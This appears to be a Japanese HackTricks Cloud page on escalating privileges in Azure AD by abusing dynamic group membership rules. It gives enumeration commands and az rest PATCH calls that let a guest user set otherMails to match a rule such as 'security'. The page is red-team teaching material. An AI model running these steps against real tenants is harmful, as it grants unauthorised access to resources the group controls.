Az - Dynamic Groups Privesc
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
Dynamic groups は、一連の ルール が設定され、それに一致するすべての ユーザーまたはデバイス がグループに追加されるグループです。ユーザーやデバイスの 属性 が 変更される たびに、動的ルールは 再確認 されます。新しい ルール が 作成される と、すべてのデバイスとユーザーが チェック されます。
Dynamic groups には Azure RBAC roles を割り当てることができますが、AzureAD roles を dynamic groups に追加することは できません。
この機能は Azure AD premium P1 ライセンスを必要とします。
Privesc
デフォルトでは任意のユーザーが Azure AD にゲストを招待できることに注意してください。そのため、動的グループの ルール が新しい ゲスト に設定できる 属性 に基づいてユーザーに 権限 を付与する場合、これらの属性を持つゲストを作成して 権限を昇格 させることが可能です。ゲストは自分のプロファイルを管理してこれらの属性を変更することもできます。
動的メンバーシップを許可するグループを取得: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
Dynamic Groups 列挙
動的グループのルールを取得:
Azure CLI を使用して:
az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table
PowerShell と Microsoft Graph SDK を使用して:
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph
Connect-MgGraph -Scopes "Group.Read.All"
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes
# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState
$g | Select-Object DisplayName, GroupTypes, MembershipRule
# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule
例
- ルール例:
(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest") - ルールの説明: セカンダリメールに ‘security’ を含むゲストユーザーはグループに追加されます
ゲストユーザーのメールについては、招待を受け入れ、https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView の そのユーザー の現在の設定を確認してください。
残念ながら、このページでは属性値を変更できないため、APIを使用する必要があります:
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
参考資料
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks Cloud

